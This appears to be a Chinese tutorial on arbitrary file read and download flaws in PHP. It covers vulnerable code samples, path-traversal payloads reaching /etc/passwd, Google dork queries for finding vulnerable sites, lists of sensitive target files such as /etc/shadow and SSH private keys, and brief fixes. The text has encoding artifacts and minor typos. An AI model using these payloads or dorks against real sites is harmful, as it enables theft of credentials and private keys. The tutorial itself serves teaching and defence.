漏洞介紹
一些網(wǎng)站由于業(yè)務(wù)需求,往往需要提供文件查看或文件下載功能,但若對(duì)用戶查看或下載的文件
不做限制,則惡意用戶就能夠查看或下載任意敏感文件,這就是文件查看與下載漏洞
利用條件
* 存在讀文件的函數(shù)
* 讀取文件的路徑用戶可控且未校驗(yàn)或校驗(yàn)不嚴(yán)
* 輸出了文件內(nèi)容
漏洞危害
下載服務(wù)器任意文件,如腳本代碼、服務(wù)及系統(tǒng)配置文件等
可用得到的代碼進(jìn)一步代碼審計(jì),得到更多可利用漏洞
任意文件讀取
代碼形式可如下幾種:
<?php
$filename = "test.txt";
readfile($filename);
?>
<?php
$filename = "test.txt";
$fp = fopen($filename,"r") or die("Unable to open file!");
$data = fread($fp,filesize($filename));
fclose($fp);
echo $data;
?>
<?php
$filename = "test.txt";
echo file_get_contents($filename);
?>
任意文件下載
直接下載:
<a >Download</a>
用header()下載:
<?php
$filename = "uploads/201607141437284653.jpg";
header('Content-Type: imgage/jpeg');
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Lengh: '.filesize($filename));
?>
漏洞利用代碼
readfile.php?file=/etc/passwd
readfile.php?file=../../../../../../../../etc/passwd
readfile.php?file=../../../../../../../../etc/passwd%00
Google search
inurl:"readfile.php?file="
inurl:"read.php?filename="
inurl:"download.php?file="
inurl:"down.php?file="
等等...
漏洞挖掘
可以用Google hacking或Web漏洞掃描器
從鏈接上看,形如:
? readfile.php?file=***.txt
? download.php?file=***.rar
從參數(shù)名看,形如:
? &RealPath=
? &FilePath=
? &?lepath=
? &Path=
? &path=
? &inputFile=
? &url=
? &urls=
? &Lang=
? &dis=
? &data=
? &read?le=
? &?lep=
? &src=
? &menu=
? META-INF
? WEB-INF
敏感文件如下
Windows:
C:\boot.ini //查看系統(tǒng)版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存儲(chǔ)系統(tǒng)初次安裝的密碼
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
...
Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件標(biāo)識(shí)符)
/proc/mounts
/porc/config.gz
漏洞驗(yàn)證
? index.php?f=../../../../../../etc/passwd
? index.php?f=../index.php
? index.php?f=?le:///etc/passwd
注:當(dāng)參數(shù)f的參數(shù)值為php文件時(shí),若是文件被解析則是文件包含漏洞,
若顯示源碼或提示下載則是文件查看與下載漏洞
修復(fù)方案
* 過(guò)濾.(點(diǎn)),使用戶在url中不能回溯上級(jí)目錄
* 正則嚴(yán)格判斷用戶輸入?yún)?shù)的格式
* php.ini配置open_basedir限定文件訪問(wèn)范圍